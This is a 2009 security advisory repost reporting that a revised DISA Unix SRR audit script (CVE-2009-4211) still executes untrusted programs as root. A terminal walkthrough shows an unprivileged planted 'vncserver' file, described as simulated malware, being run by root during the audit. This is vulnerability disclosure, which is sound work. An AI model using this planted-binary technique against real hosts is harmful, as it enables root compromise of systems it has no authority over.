UPDATE: DISA Unix SRR root compromise / CVE-2009-4211 / VU#433821

2009-12-09T00:00:00
ID SECURITYVULNS:DOC:22893
Type securityvulns
Reporter Securityvulns
Modified 2009-12-09T00:00:00

Description

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After the issue in CVE-2009-4211 was made public, the Unix SRR script was removed from http://iase.disa.mil/stigs/SRR/unix.html with a note saying:

?Due to a recently identified security issue, please do not run any version of the UNIX SRR scripts until further notice. The UNIX SRR scripts will be corrected and posted as soon as possible. Please check back at a later time for the updated scripts. Thanks for your understanding and support.?

As of today, a new version dated December 7, 2009 is available for download. Unfortunately, although some changes were made, it is still vulnerable to the issue described in CVE-2009-4211.

The CVE should be updated to reflect that the December, 2009 version is also vulnerable. The script should be re-evaluated to remove any invocations of untrusted programs (especially any done as root). Users should continue to avoid running the Unix SRR script until a fixed version is available.

Below is a walk-through:

Script started on Tue Dec 08 23:35:31 2009

Starting with a clean directory

Don't Panic! # ls -al total 6 drwxr-xr-x 2 root root 2 Dec 8 23:35 . drwxrwxrwt 6 root sys 7 Dec 8 23:28 ..

Untar the new SRR script

Don't Panic! # tar xf ../UNIX_51-15Dec2009.tar

Don't Panic! # cd Script.December

Verify the output directory is empty

Don't Panic! # ls -al /var/tmp/fcs/outdir total 8 drwx------ 2 root root 2 Dec 8 23:00 . drwxr-xr-x 4 fstuart sysadmin 47 Dec 8 21:47 ..

Verify my unprivileged, simulated malware is in place. It will

write a root-owned file in the /var/tmp/fcs/outdir if executed

by root.

Don't Panic! # ls -dl /var/tmp/fcs/testdir/vncserver - -rwxr-xr-x 1 nobody nobody 174 Dec 8 23:28 /var/tmp/fcs/testdir/vncserver

Start the SRR script

Don't Panic! # ./Start-SRR [[ SRR output omitted ]]

root-owned output file is created

Don't Panic! # ls -al /var/tmp/fcs/outdir/vncserver.out - -rw------- 1 root root 370 Dec 8 23:39 /var/tmp/fcs/outdir/vncserver.out

Contents of file show how it was invoked

Don't Panic! # cat /var/tmp/fcs/outdir/vncserver.out /var/tmp/fcs/testdir/vncserver -help 24749 zsched 23773 ksh -o vi 3664 script /tmp/script.out 3665 script /tmp/script.out 3666 sh -i 3685 /bin/sh ./Start-SRR 27701 sh /var/tmp/SRR/Script.December/Solaris/2006-T-0013 27719 /bin/ksh /var/tmp/fcs/testdir/vncserver -help 27722 ptree 27719

script done on Tue Dec 08 23:42:11 2009

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